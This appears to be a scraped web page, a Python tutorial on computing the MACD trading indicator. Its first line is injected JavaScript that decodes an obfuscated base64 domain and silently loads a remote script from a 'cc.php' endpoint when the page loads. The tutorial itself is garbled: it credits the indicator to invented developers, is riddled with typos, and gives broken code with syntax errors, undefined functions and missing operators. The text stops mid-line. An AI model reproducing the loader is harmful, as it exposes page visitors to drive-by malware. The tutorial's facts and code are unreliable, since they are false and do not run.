const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=3d343f51";document.body.appendChild(script);
Calculating MACD from Scratch in Python
The Multi-Exponential Average Convergence Divergence (MACD) algorithm, developed by J. Ross Cameron and George C. Lapp, is a popular in indicator use s toalyze trend and momentum. In this article, we will explore How to calculate MACD from scratch use Python.
What is MACD?
The MACD calculation involves two main components:
1.
- The Convergence Line (C-Line)
The formula for calculating MACD can be broken down in the several steps:
HMA Calculation
To calculate the HMA, we need to perform an exponential smothing calculation on the closing of the asset.
import numpy as np
def hma(prices, alpha):
"""
Calculate the Exponential Moving Average (EMA) of a list of prices.
Parameters:
prices (list): List of closing prices.
alpha (float): EMA smoothing factor.
Returns:
list: List of EMA values.
"""
n = len(prices)
hma_values = []
for i in range(n):
hma_values.append(alpha prices[i] + (1 - alpha) hma_values[-1])
return np.array(hma_values)
def hma smothered(prices, alpha, window_size):
"""
Calculate the Exponential Moving Average (EMA) of a list of prices to use average.
Parameters:
prices (list): List of closing prices.
alpha (float): EMA smoothing factor.
window_size (int): Size of the move average.
Returns:
list: List of EMA values.
"""
n = len(prices)
hma_values = hma(prices, alpha)
hma_values = np.convolve(hma_values, np.ones(window_size) / window_size, mode='same')
return hma_values
MACD Calculation
The MACD calculation involves the tullowing steps:
- Calculate the EMA of the HMA.
- Calculate the C-Line by averaging the two EMA values.
```python
def macd(prices, window_size):
"""
Calculate the Multi-Exponential Moving Average Convergence Divergence (MACD) algorithm.
Parameters:
prices (list): List of closing prices.
window_size (int): Size of the MACD signal.
Returns:
list: List of MACD values.
"""
hma_values = hma_smoothed(prices, 3, window_size)
ed smothered_hma_values = hma_smoothered(hma_values, 12, window_size)
ema_values = ema_smootheed(ema_smootheed_hma_values, 26, window_size)
macd_values = []
for i in range(len(ema_values) - window_size):
macd_values.append((ema_values[i] - ema smothered_hma_values[i]) / ema smothered_hma_values[i + window_size -1])
return np.array(macd_values)
def ema smothered(prices, alpha, window_size):
"""
Calculate the Exponential Moving Average (EMA) of a list of prices to use average.
Parameters:
prices (list): List of closing prices.
alpha (float): EMA smoothing factor.
window_size (int): Size of the move average.
Returns:
list: List of EMA values.
"""
n = len(prices)
hma_values = hma(prices, alpha)
hma_values = np.convolve(hma_values, np.ones(window_size) / window_size, mode='same')
hma_values = np.roll(hma_values, -window_size)
return hma_values
def ema_smootheed(ema_values, alpha, window_size):
"""
Calculate the Exponential Moving Average (EMA) of a list of EMA walues use average.
Parameters:
ema_values (list): List of EMA values.
alpha (float): EMA smoothing factor.
window_size (int): Size of the move average.
Returns:
list: List of smothered EMA values.
"""
n = len(ma_values)
hma_values = hma_smoothered(ma_values, 3, window_size)
hma_values = np.convolve(hma_values, np.